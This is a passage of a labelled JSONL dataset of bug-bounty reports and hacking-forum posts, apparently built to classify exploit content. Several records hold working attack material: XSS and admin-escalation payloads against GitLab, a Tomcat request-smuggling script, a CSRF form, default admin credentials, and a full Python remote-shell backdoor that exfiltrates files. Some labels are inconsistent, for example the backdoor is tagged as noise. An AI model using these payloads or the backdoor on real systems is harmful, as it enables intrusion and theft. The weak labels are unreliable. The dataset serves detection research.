myself in much progress. I also tried analyzing the cipher texts and while I was able to find similarities, I can’t seem to find anything else. I am not particularly looking for the complete solution, rather some clues as to what I might be missing. I would be happy if anyone could point the way", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6d19a5baa8c1d7aefab2", "text": "[Cross-site Scripting (XSS) - Generic] HTML Injection in email via Name field\n\nHello Gents,\nI would like to report an issue where attackers are able to inject HTML into the `Name` field at `app.qualified.dev`.\n\n### Steps to reproduce:\n1. Please register at https://app.qualified.dev/signup\n2. Inject the `Name`field with any HTML payload.\n3. Open the victim's test email, HTML will be executed.\n\n### Proof of concept:\n+ {F1744498}\n\n## Impact\n\nHTML Injection", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4bd4655d000a7ff7b6d7", "text": "[Phishing] Brave Shield for iOS is weak against IDN homograph attacks\n\n## Summary:\n\nIn most parts of Brave for iOS, including the address bar, protection against IDN attacks are implemented.\nHowever, Brave Shield has no countermeasures.\nFor example, when you visit https://www.xn--80ak6aa92e.com , Brave Shield panel in the address bar shows the domain of this site is \"apple.com\".\nThis may lead users to be deceived into believing that the site is legitimate.\n\n## Products affected: \n\n * Brave for iOS (Version 1.45.2)\n\n## Steps To Reproduce:\n\n * Visit https://www.xn--80ak6aa92e.com\n * Open Brave Shield panel from the address bar\n * \"apple.com\" is shown in the panel\n\n## Supporting Material/References:\n\n  * See the screenshot I attached.\n\n## Impact\n\nThis may lead users to be deceived into believing that the site is legitimate.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "36f88c823bfd79ee7485", "text": "[Cross-site Scripting (XSS) - Generic] XSS: `v-safe-html` is not safe enough\n\n`v-safe-html` directive uses Dompurify [to remove](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/9f1bcb1f7392d4d6d072f10197c2aab2c29c3287/src/directives/safe_html/constants.js#L3)  `data-remote', 'data-url', 'data-type', 'data-method'` attributes from HTML tags. Rails-js relies on another attribute, [`data-disable-with`](https://github.com/rails/rails/blob/v6.1.4.7/actionview/app/assets/javascripts/rails-ujs.coffee#L10) to [show a HTML content](https://github.com/rails/rails/blob/v6.1.4.7/actionview/app/assets/javascripts/rails-ujs/features/disable.coffee#L41) when an user clicks on a disabled link.\n\nFor example, the following text will bypass the sanitization and popup an alert when an user clicks on the link (which is a transparent topmost layer since the sanitization allows also `style` and `class` attributes):\n\n```html\n<a class=\"fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default\" href=# data-disable-with=\"<img src=x onerror=alert(document.domain)>\">'\n```\n\nAn exploitation can be done via [jobs' error messages](https://gitlab.com/gitlab-org/gitlab/-/blob/38af35c2a4aa666f914484d3f119b813651a2041/app/assets/javascripts/jobs/components/job_app.vue#L215) which contain [CI job names](https://gitlab.com/gitlab-org/gitlab/-/blob/7f86b5b78c107f7124b54e1f797099741765b3d2/app/serializers/build_details_entity.rb#L154) which are provided by users.\n\n\n\n### Steps to reproduce\n\n1. In an existing project or create a new one, add `.gitlab.ci` file with the following content:\n\n```yaml\n'1. XSS when no CSP<a class=\"fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default\" href=# data-disable-with=\"<img src=x onerror=alert(document.domain)>\">':\n  stage: build\n  script: echo \"hi\"\n\n'2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class=\"fixed-top fixed-bottom text-hide cursor-default\" style=\"font-size:10000px\" value=Submit>':\n  stage: build\n  script: echo \"hi\"\n\ntrigger-xss:\n  stage: test\n  script: echo \"hi\"\n  dependencies:\n    - '1. XSS when no CSP<a class=\"fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default\" href=# data-disable-with=\"<img src=x onerror=alert(document.domain)>\">'\n    - '2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class=\"fixed-top fixed-bottom text-hide cursor-default\" style=\"font-size:10000px\" value=Submit>'\n```\n\n2. Go to `CI/CD`/`Jobs` tab and wait for the CI jobs finished\n\n3. If you are testing on a local instance without CSP protection, click on detail of the job `1. XSS when no CSP<a class=\"fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default\" href=# data-disable-with=\"<img src=x onerror=alert(document.domain)>\">`, then click on the trash button on the right literal bar to `Erase job logs and artifacts`.\n\n3. Go back to the job list, click on `trigger-xss` link to view the detail of this job. Then click on `Retry` button on the right literal bar to retry the job.\n\n4. An error message appears: `This job could not start because it could not retrieve the needed artifacts: 1. XSS when no CSP`. Click anywher to trigger the alert\n\nNote: on gitlab.com or an instance having CSP protection (with `strict-dynamic` value of `script-src`), the inline script, such as `onerror` or the [`<iframe srcdoc='<script src=https://gitlab.com/yvvdwf/data/-/jobs/552156057/artifacts/raw/alert.js></script>'></iframe>`](https://gitlab.com/gitlab-org/gitlab/-/issues/233473), will be prevented to trigger. In such a case, we may use `<form>` tag to trigger arbitrary API requests on behalf of the user, for example, this allows escalate to admin permission when administrator *click anywhere* `2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class=\"fixed-top fixed-bottom text-hide cursor-default\" style=\"font-size:10000px\" value=Submit>`\n\n### Impact\n\nXSS allow attackers to perform arbitrary actions on behalf of ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7b98960221a82a6e975a", "text": "[Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')] CVE-2023-28320 - siglongjmp race condition\n\nlibcurl provides several different backends for resolving host names, selected at build time. If it is built to use the synchronous resolver, it allows name resolves to time-out slow operations using alarm() and siglongjmp().\n\nWhen doing this, libcurl used a global buffer that was not mutex protected and a multi-threaded application might therefore crash or otherwise misbehave.\n\n## Impact\n\nDenial of service due to a crash (likely) or possibly other impacts.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-28320"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "72e750a26781a7f7e964", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32206: HTTP compression denial of service\n\ncurl supports \"chained\" HTTP compression algorithms, meaning that a server response can be compressed multiple times and potentially with different algorithms. The number of acceptable \"links\" in this \"decompression chain\" was unbounded, allowing a malicious server to insert a virtually unlimited number of compression steps.\n\nThe use of such a decompression chain could result in a \"malloc bomb\", making curl end up spending enormous amounts of allocated heap memory, or trying to and returning out of memory errors.\n\n## Impact\n\nDenial of service", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32206"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "af2528c03fc4b224cde3", "text": "[Improper Access Control - Generic] Default Admin Username and Password on ███\n\nIt is possible to access the application is using the default username and password \nSteps To Reproduce:\n1-Go to https://███/geoportal/ and login with credentials:\nuser and password: admin\nuser and password: gptadmin\nPoc video attached\n\n## Impact\n\nA Department of Defense website was misconfigured in a manner that may have allowed a malicious user to login with administrator for the default organization account credentials and delete posts , edit website\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nPOC video\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "310202aa4f87937d3955", "text": "[Privacy Violation] Brute force protections don't work\n\n## Summary:\nMost of the brute force protections don't actually throttle() the response and so they are not logging negative attempts\n\nSearch for functions with the `@BruteForceProtection` annotation and check that they call `throttle()` on the response at least conditionally.\n\n## Impact\n\nBrute force protection is not throttling any requests:\nhttps://github.com/nextcloud/server/blob/b70c6a128fe5d0053b7971881696eafce4cb7c26/lib/private/AppFramework/Middleware/Security/BruteForceMiddleware.php#L78-L82", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0bccd491bc7da53699da", "text": "[Buffer Over-read] Read beyond bounds in mod_isapi.c [zhbug_httpd_41]\n\nGreetings. I have found a read-beyond-bounds bug in httpd that arises from an apparent logic error.\n\nThe bug is in /modules/arch/win32/mod_isapi.c, on lines 979 and/or 983, which use the length of the path to the ISAPI DLL (|strlen(r->filename)|) to index into the string specified by the ISAPI DLL itself in its call to ServerSupportFunction/HSE_REQ_MAP_URL_TO_PATH, which contains unrelated data. This error presumably can be exploited under appropriate conditions.\n\nThis bug is still present in trunk.\n\nRelevant code:\n```\n966:     case HSE_REQ_MAP_URL_TO_PATH:\n967:     {\n968:         /* Map a URL to a filename */\n969:         char *file = (char *)buf_data;\n970:         apr_uint32_t len;\n971:         subreq = ap_sub_req_lookup_uri(\n972:                      apr_pstrndup(cid->r->pool, file, *buf_size), r, NULL);\n973:\n974:         if (!subreq->filename) {\n975:             ap_destroy_sub_req(subreq);\n976:             return 0;\n977:         }\n978:\n979:         len = (apr_uint32_t)strlen(r->filename);\n980:\n981:         if ((subreq->finfo.filetype == APR_DIR)\n982:               && (!subreq->path_info)\n983:               && (file[len - 1] != '/'))\n984:             file = apr_pstrcat(cid->r->pool, subreq->filename, \"/\", NULL);\n985:         else\n986:             file = apr_pstrcat(cid->r->pool, subreq->filename,\n987: subreq->path_info, NULL);\n988:\n989:         ap_destroy_sub_req(subreq);\n990:\n991: #ifdef WIN32\n992:         /* We need to make this a real Windows path name */\n993:         apr_filepath_merge(&file, \"\", file, APR_FILEPATH_NATIVE, r->pool);\n994: #endif\n995:\n996:         *buf_size = apr_cpystrn(buf_data, file, *buf_size) - buf_data;\n997:\n998:         return 1;\n999:    }\n```\nAttached is a POC that demonstrates the bug. To use it:\n\n   1. Add the specified lines to httpd.conf.\n   2. Build dllmain.cpp and foo.def into foo.dll.\n   3. Create the folder /bug41 in the webserver root.\n   4. Copy foo.dll into /bug41 .\n   5. Run httpd and attach a debugger to it.\n   6. Set a BP on line 969, above.\n   7. Open a browser (or CURL) and attempt to load the URL <server>/bug41/foo.dll .\n   8. When the BP fires, step through line 979.\n   9. Notice that |r->filename| is something like \"g:/serverroot/bug41/foo.dll\" (the filesystem path to the ISAPI DLL)  and that |len| is its length.\n   10. Notice that |file| points to a 0 byte string (string length 0), which is what HttpExtensionProc() in foo.dll sent in its call to ServerSupportFunction/HSE_REQ_MAP_URL_TO_PATH (dllmain.cpp line 30).\n   11. Step once more and notice that line 983 reads one byte from |len-1| bytes beyond the end of |file|.\n```\n-------- httpd.conf lines ----------------------------------------------------\n<Location /bug41>\n    AddHandler isapi-handler .dll\n    Options ExecCGI\n    Allow from all\n</Location>\n-------- httpd.conf lines ----------------------------------------------------\n```\n```\n-------- dllmain.cpp ----------------------------------------------------\n#include <windows.h>\n#include <HttpExt.h>\n\nBOOL APIENTRY DllMain( HMODULE hModule,\n                       DWORD  ul_reason_for_call,\n                       LPVOID lpReserved\n                     )\n{\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n    case DLL_THREAD_ATTACH:\n    case DLL_THREAD_DETACH:\n    case DLL_PROCESS_DETACH:\n        break;\n    }\n    return TRUE;\n}\n\nBOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO * pVI) {\n    return TRUE;\n}\n\nDWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK* pECB) {\n\n    char buf[] = \"\";\n    DWORD bufSize = sizeof(buf);\n\n    pECB->ServerSupportFunction(\n        pECB->ConnID, HSE_REQ_MAP_URL_TO_PATH, buf, &bufSize, NULL);\n\n    return HSE_STATUS_SUCCESS;\n}\n-------- dllmain.cpp ----------------------------------------------------\n\n-------- foo.def ----------------------------------------------------\nLIBRARY foo\nEXPORTS\n    DllMain\n    GetExtensionVersion\n    HttpExtensionProc\n-------- foo.def ----------------------------------------------------\n```\n\n## Impact\n\nBeyond bounds data might be r", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ed2f762c7e5176477620", "text": "[HTTP Request Smuggling] Possibility of Request smuggling attack\n\nRequest smuggling was possible by throwing an IOException with the upper size limit of the trailer header.\nConfirmed with tomcat version 9.0.82.\n\n* example\n~~~~~~~~~~~~~~~~~~\nPOST /examples/test.jsp HTTP/1.1\nHost: www.example.co.jp\nContent-Type: application/x-www-form-urlencoded\nTransfer-Encoding: chunked\nConnection: KeepAlive\n\n5\nfoo=b\n2\nar\n0\ntesttrailer: aaaaa...(large size)\na: GET /examples/?this_is_attack HTTP/1.1\nHost: attack\n\n~~~~~~~~~~~~~~~~~~\n\n\n* Reproduce with the following steps:\n```\n$ git clone https://github.com/oss-aimoto/tomcat-trailer.git\n$ cd tomcat-trailer\n$ docker-compose build\n$ docker-compose up -d\n$ echo -n \"testtrailer: \" > 8190_EXCLUDE_COLON_SP_CR_LF.txt\n$ for i in `seq 8179`; do echo -n \"a\"; done >> 8190_EXCLUDE_COLON_SP_CR_LF.txt\n$ perl -e 'print \"\\r\\n\"' >> 8190_EXCLUDE_COLON_SP_CR_LF.txt\n$ head -11 base.txt > attack5.txt\n$ cat 8190_EXCLUDE_COLON_SP_CR_LF.txt >> attack5.txt\n$ perl -e 'print \"a: GET /examples/?this_is_attack HTTP/1.1\\r\\nHost: attack\\r\\n\\r\\n\"' >> attack5.txt\n$ cat attack5.txt | curl telnet://localhost:8082/ --output -\n```\n\nThe result of curl is two HTTP responses(\"/examples/test.jsp\" and \"/examples/?this_is_attack\").\nTwo requests are recorded in the Tomcat access log.\n\n```\n192.168.128.1 - - [23/Oct/2023:06:55:37 +0000] \"POST /examples/test.jsp HTTP/1.1\" 200 58\n192.168.128.1 - - [23/Oct/2023:06:55:37 +0000] \"GET /examples/?this_is_attack HTTP/1.1\" 200 1126 \n```\n\n## Impact\n\nA trailer header that exceeded the header size limit could cause Tomcat to treat a single request as multiple requests leading to the possibility of request smuggling when behind a reverse proxy.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e3508db576a96d60c1f", "text": "[Insecure Storage of Sensitive Information] Insecure Storage of Sensitive Information on lonestarcell.com server\n\nHello , i hope your doing well \n\ni found some sensitive information disclosure at those endpoint\nit is disclosure server status and some other stuff \n\nhttps://simregistration.lonestarcell.com//monitoring/DB02/DB02.html#System\nhttps://simregistration.lonestarcell.com//monitoring/DB01/index.html\nhttps://simregistration.lonestarcell.com//monitoring\n\n## Impact\n\nSensitive Information disclosure on lonestarcell server", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "552167f3766372ed652a", "text": "[Uncontrolled Resource Consumption] DOS validator nodes of blockchain to block external connections\n\nAttack was documented in the in the github repo: https://github.com/hyperledger/indy-node/security/advisories/GHSA-x996-7qh9-7ff7\n\n# Attack:\nThe attacker sends 500 read requests to each node and opens a new one when\nholding 500 parallel connections. Every user is able to send read requests\nsince it's a public readable registry so setting up an allowlist like it's\ndone with the nodes' port for the consensus does not work here. To increase\nthe efficiency:\n\nthe custom read request is increased with more bytes (random header or\njson values)\nthe bandwidth of the sender machine is limited\nRequirements on the attacker side:\nIndy-VDR: comment out the timeouts. Using another tool to send the requests\ncould be even more efficient\nVM: attack can be performed from one or multiple VMs limited connection: using\nTC to limit the bandwidth (value depends on the amount of connections)\nSample Implementation\nWe set up a VON-Network and added the firewall rules. The VM had 32 CPUs\nand 64 GB RAM\n\n# Result:\nthere is no damage to the blockchain, only an unreachable network as long\nas the attack is going on .\nOther clients are not able to send read or write requests to the nodes. In\nthe \"best case\" their requests will go through but with a response time of\nmultiple seconds, see:\nNot available [image: image.png]\n\nNot available [image: image.png]\n\n# Counteractions:\nblacklisting actors: It does not matter what is in the body since the\nfirewall rule acts in front of indy that is processing the information. To\navoid big requests the firewall could set a limit of the request size, but\nthis could also block valid requests.\nScaling via the observer-pattern: Right now the amount of nodes is\nlimited so blocking 25*500 connections is very easy. When adding nodes in\nfront of the validators to prevent accessing from the internet the\nvalidators are save, but then all the observers are under attack\nScalability: Giving the VMs more CPU and RAM to increase the parallel\nconnections amount can help in first run, but the DoS attack can be\nperformed as a DDos. An attacker does not have to DoS the network 24/7, but\ncan scale up the VMs on demand to attack a specific network. The setup is\ndone in about 2 minutes automatically. In our test we used 500 as the\nlimit. Maybe there is some kind of algorithm for the node administrators to\ncalculate the limit based on their CPU. But in this case the attacker can\nalso increase his ressources.\n\n## Impact\n\nAn attacker can max out the number of client connections allowed by the ledger, leaving the ledger unable to be used for its intended purpose.\n\nHowever, the ledger content will not be impacted and the ledger will resume servicing client requests after the conclusion of the attack.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "743514c5f767b6479533", "text": "[Unknown] Delete any user's added Email,Telephone,Fax,Address,Skype via csrf in (https://academy.acronis.com/)\n\nHi there,\n\nIt is possible to delete anyone's added email,telephone,fax,address,Skype via CSRF in `GET`  method. The action is performed via `GET`method without any CSRF protection.\n\n# Steps to reproduce\n\n-   login to your https://academy.acronis.com account\n-   navigate to `https://academy.acronis.com/#/account/edit/account_id/<your_id>`\n-   add any email,telphone,fax,addres,skype \n-   try deleting them and capture the request \n-   you'll see the request is performed in `GET` method without any CSRF protection\n\n#POC\n\n```\n<html>\n  <body>\n    <form action=\"https://academy.acronis.com/account/delete-contact/contact_id/<your_id>\">\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n```\n\n#Fix \n Use X-CSRF token or perform the action in `POST` method with a CSRF token.\n\n## Impact\n\nDelete any user's added  email,telephone,fax,address,Skype with CSRF attack.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f4f9cd558eb601d6fbd", "text": "[Information Disclosure] jira discloser information\n\nThe ticket raising system used by informatica suffers from an informational vulnerability where in an attacker can view certain details about open bugs or project information of informatica. Details include  names and potentially  and ticket names which an unauthorized personnel can view without login that can be very useful to an attacker.\n\nendpoints:\n\nhttps://infajira.informatica.com/secure/QueryComponent!Default.jspa\n\n## Impact\n\nattacker miss use this information", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ea8a247cbfad96414acd", "text": "[Heap Overflow] heap-buffer-overflow in gc_writebarrier_incremental\n\nhow to reproduce:\nbuild ruby-3.2.2 with asan\ncat heap-buffer-overflow | ruby-3.2.2/miniruby -e 'Marshal.load(ARGF.read)'\n\n## Impact\n\nmay over access memory", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42dc74a5931163ccecd9", "text": "[Insecure Direct Object Reference (IDOR)] Can access the job name, creator name and can report any draft/under review/rejected job\n\nThe application has a functionality using which a user can report a job if he found the job is misleading/spam or fraud. Using this feature, an attacker can do report any unlisted (draft/under review/rejected) job. After reporting the job the victim will receive an email from 'LinkedIn Trust & Safety Team' saying 'We reviewed your report. Here's what we did.'  This also discloses the name of the user and his profile link who posted the job. Once you click on the 'view your report' button of the email, it will redirect you to the reports page at = 'https://www.linkedin.com/safety/reports/:reportId' This will disclose the name of the rejected/draft/under review job.\n\n### Steps to reproduce:\n1. Log in to an account and go to any posted job - `https://www.linkedin.com/jobs/view/3084381086/`\n3. Now open any (rejected/draft or under review job using the job id) - https://www.linkedin.com/jobs/view/3086447496/. The application will give ` Something went wrong ` error message.\n2. Report the posted job and intercept the vulnerable request.\n{F1744522}\n4. Forward the job using the draft, rejected jobId - 3086447496. The report will get submitted without any error. And after some time (1hr) you will receive an email in the social tab of the email from `Linkedin Trust and Safety`. This email includes the name of the job creator and his profile link and when u click on the `View your Report` button. It will disclose the name of the job including the location.\n{F1744530}{F1744531}{F1744532}\n\n###Vulnerable request:\n```\nPOST /lite/flag-content?contentUrn=urn:li:jobPosting:3086455454&reason=OFFENSIVE&contentSource=JOBS_PREMIUM_OFFLINE&authorProfileId=0&trk=report-content HTTP/2\nHost: www.linkedin.com\nCookie: XXX\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nCsrf-Token: ajax:3198904967979491318\nX-Isajaxform: 1\nOrigin: https://www.linkedin.com\nReferer: https://www.linkedin.com/jobs/view/3084381086/?refId=%EF%BF%BD%2F%EF%BF%BD%21d%EF%BF%BD%27%EF%BF%BDe%1A_s%EF%BF%BD%16%EF%BF%BD%EF%BF%BD&trk=d_flagship3_company\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nContent-Length: 0\nTe: trailers\n```\n\n## Impact\n\nAn attacker can report any unlisted job and can access the name of the creator, name of the job name of the company, etc details.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "55a5ad6742078f302b56", "text": "[Uncontrolled Resource Consumption] potential denial of service attack via the locale parameter\n\nIn Django 3.2 before 3.2.16, 4.0 before 4.0.8, and 4.1 before 4.1.2, internationalized URLs were subject to a denial of service attack via the locale parameter, which is treated as a regular expression.\n\n## Impact\n\nBy crafting a Python regex, a vulnerable site could suffer a DOS attack. The attack was most likely to happen on sites that processes locale IDs from URL parameters.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c805f24dbe6313d55fe9", "text": "thank you to everyone who contributed in providing tips you all were very helpful. my piece of advice would try and get an error in your burp requests that gives you an idea of what commands are being ran in what syntax while messing around with the different feilds of injection. once youve got the syntax then all you need to do is bypass filters and find the proper payload.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e5c56f4557e8086b0ba2", "text": "[Open Redirect] Attacker can smuggle a malicious domain in a URI object.\n\nSimple example:\n```\nuser_provided_redirect_uri = \"http:////malware.com/real/path\"\nevil_uri = URI.parse(user_provided_redirect_uri)\nevil_uri.host          # => nil\nevil_uri.to_s          # => \"http://malware.com/real/path\"\n```\n\nIn many common URI-validation scenarios, the target system will likely parse a user provided URI, and then check the host against some internal validation criteria, eg, that it's a host owned by that system. Seeing a blank hostname will often cause the system to assume that the link only contains a path, not a domain,  so any validation or checking of that domain won't happen.\n\nHowever, if the URI object is turned back into a string, the resulting URI contains the malicious domain, as you can see above. The actual behavior is to remove two of the leading slashes, so starting with 4 leading slashes will give you 2 leading slashes in the output, which is a well-formed (and in this case malicious) URL.\n\nIn addition, most browsers (all that I checked on) will allow multiple slashes before the domain name -- type \"http:////google.com\" in to your browser, and you will go to google. So, using the original string will also result in a redirection to the malicious host.\n\nBottom line, this bug is almost certainly the cause of a large number of open redirect vulnerabilities in Ruby based web apps. The most obvious use would be to craft malicious URIs for phishing purposes, but it could be used to potentially circumvent any host-checking logic in a URI validator.\n\nThe cause of the bug can be seen here: https://github.com/ruby/ruby/blob/trunk/lib/uri/rfc3986_parser.rb#L6 (if you can spot it in there). The real smoking gun is comment on the line above it that says the regex is modified from the RFC to allow empty host names. A little consideration will show why this causes the above behavior, and why it ends up stripping the initial two leading slashes.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4601179737899ef2f07e", "text": "here is a python backdoor CLIENT: from socket import * import subprocess import os def connect(): server = socket(AF_INET, SOCK_STREAM) # server ip host = \"192.168.1.8\" port = 111 buffer_size = 1024 print(\"[+] Connecting to {}:{}\".format(host, port)) server.connect((host, port)) print(\"[+] Connected!\") while 1: command = server.recv(1024) command_decoded = command.decode(\"utf-8\") if \"terminate\" in command_decoded: print(\"[!] Connection closed!\") server.close() break elif \"steal\" in command_decoded: file_path = command_decoded.split(\">\") print(\"[+] Start!\") with open(file_path[1], \"rb\") as f: while True: file_bytes = f.read(buffer_size) if not file_bytes: break server.send(file_bytes) end = \"end-transfer-file\".encode(\"ISO-8859-1\") server.send(end) print(\"[+] End!\") else: CMD = subprocess.Popen(command_decoded, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) server.send(CMD.stdout.read()) def main(): connect() main() SERVER: from socket import * PWD = input(\"Where do you want to save your files stealed? \\nExample: /home/nonameon/Desktop/file\\nPath: \") def connect(): # TCP connection sock = socket(AF_INET, SOCK_STREAM) host = \"192.168.1.8\" port = 11 buffer_size = 1024 sock.bind((host, port)) sock.listen(1) while 1: print(\"[+] Listening {}:{}\".format(host, port), end=\"\") client, addr = sock.accept() print(\"\\n[+] Connection from: \", addr) print(\"[?] Use 'steal><fila path>' for get file or 'terminate' for close connection\") while 1: command = input(\"Shell> \") if \"terminate\" in command: client.send(\"terminate\".encode()) client.close() print(\"[+] Closed!\") print(\"[+] Listening {}:{}\".format(host, port), end=\"\") break else: #manda client.send(command.encode()) #riceve resp = client.recv(buffer_size) flag = True if \"steal\" in command: file_backdoor = PWD print(\"[+] Start!\") with open(file_backdoor, \"wb\") as f: while True: f.write(resp) resp = client.recv(buffer_size) if \"end-transfer-file\" in resp.decode(\"ISO-8859-1\"): break print(\"[+] End!\") else: print(resp.decode(\"ISO-8859-1\")) def main(): connect() main()", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0810dc13877bfc454694", "text": "[Use of Hard-coded Credentials] Credential leak on GitHub: https://github.com/█/█/ (Peoplesoft CRM)\n\n**Description:** \nhey , \ni found a credential leak on github \nhttps://github.com/████████/███████/blob/22dc688289fac99f█████/testsql.sh\n\n## Steps To Reproduce:\n\n(Add details for how we can reproduce the issue)\n\n  1. open https://github.com/██████████/█████████/blob/22dc688289fac99f████/testsql.sh\n  1. you can see username and password \n  \n\n## Supporting Material/References:\n████\n\n## Impact\n\nwith this information disclosure    we can access to Peoplesoft CRM database", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ff9ea91c90ec8733447c", "text": "Now thats a post worth reading , welcome to 0x00sec and do join us on discord .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-01-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ef55c5374931a067543", "text": "[Insecure Direct Object Reference (IDOR)] read and message other user's messages\n\ngo to your account's chat page, stop the request and change the reddit session parameter, now leave the request and you will be able to access the test account's chat screen\n\nsend the request to the repeater change the reddit session parameter and send it then you will see the return result is 200\n\nshow reply in browser and copy and paste the address into your browser you will access the chat page of your test account\n\n## Impact\n\nother users' chat screen can be accessed\nand message can be sent", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
